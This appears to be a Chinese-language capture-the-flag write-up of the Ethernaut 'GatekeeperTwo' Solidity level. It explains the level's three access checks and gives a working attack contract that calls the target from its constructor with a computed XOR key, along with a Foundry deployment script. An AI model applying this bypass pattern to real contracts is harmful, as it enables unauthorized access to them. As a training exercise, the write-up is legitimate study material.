合约代码：`Gtwo.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin); //调用函数地址不等于交易发送方
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller()) //获取在地址上部署合约的代码大小
        }
        require(x == 0); //调用函数的不能是合约，部署合约的构造函数中调用函数代码为0
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}
```

目标是注册成为通行地址`entrant`

思路：

1. 查看在哪里会改变`entrant`，找到是`enter`函数，调用它就可以实现。
2. 调用`enter`函数，需要通过三个修饰器

第一个：

```
modifier gateOne() {
    require(msg.sender != tx.origin); //调用函数地址不等于交易发送方
    _;
}
```

`msg.sender`是调用函数的地址

`tx.origin`是交易的发送方

这两个不相等就代表我们不能直接调用，需要借助另一个合约调用函数。

第二个：

```
modifier gateTwo() {
    uint256 x;
    assembly {
        x := extcodesize(caller()) //获取在地址上部署合约的代码大小
    }
    require(x == 0); //调用函数的不能是合约，部署合约的构造函数中调用函数代码为0
    _;
}
```

`x := extcodesize(caller())` 这个表示获取地址上部署合约的代码大小并赋值给 `x`

`x = 0` 有以下几种情况：

1. `caller()` 是一个正在构造的合约（最常见）
2. `caller()` 是一个 EOA
3. `caller()` 是一个被 `selfdestruct` 的合约
4. 合约部署失败或未部署（较少见）

首先在前两种情况中考虑，因为第一个修饰器的原因，所以是第一种情况。

我们需要写一个合约，并在构造函数中调用函数。

第三个：

```
modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
}
```

这个主要是异或运算，我们需要得到参数，异或运算有一个性质，`a ^ a ^ b = b` 所以为了得到 `_gatekey`，在等式两侧乘 `uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))`，因为参数是 `bytes8` 类型，最后要进行形式转换。

攻击合约：`Gtwo.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Gtwo.sol";

contract Hack {
    constructor() {
        GatekeeperTwo _gatekeepertwo = GatekeeperTwo(0x0f6dDe5A8fa9299609C5781B71512f8cf8Eef95c);
        bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        _gatekeepertwo.enter(key);
    }
}
```

脚本：`Gtwo.s.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "../src/GtwoHack.sol";

contract MyScript is Script {

    function run() public {
        vm.startBroadcast();

        Hack hack = new Hack();

        vm.stopBroadcast();
    }
}
```

执行脚本，任务完成。

因为攻击合约中就已经把需要做的实现了，我感觉直接部署合约也可以，所以用了`forge create`，实践之后确实可行。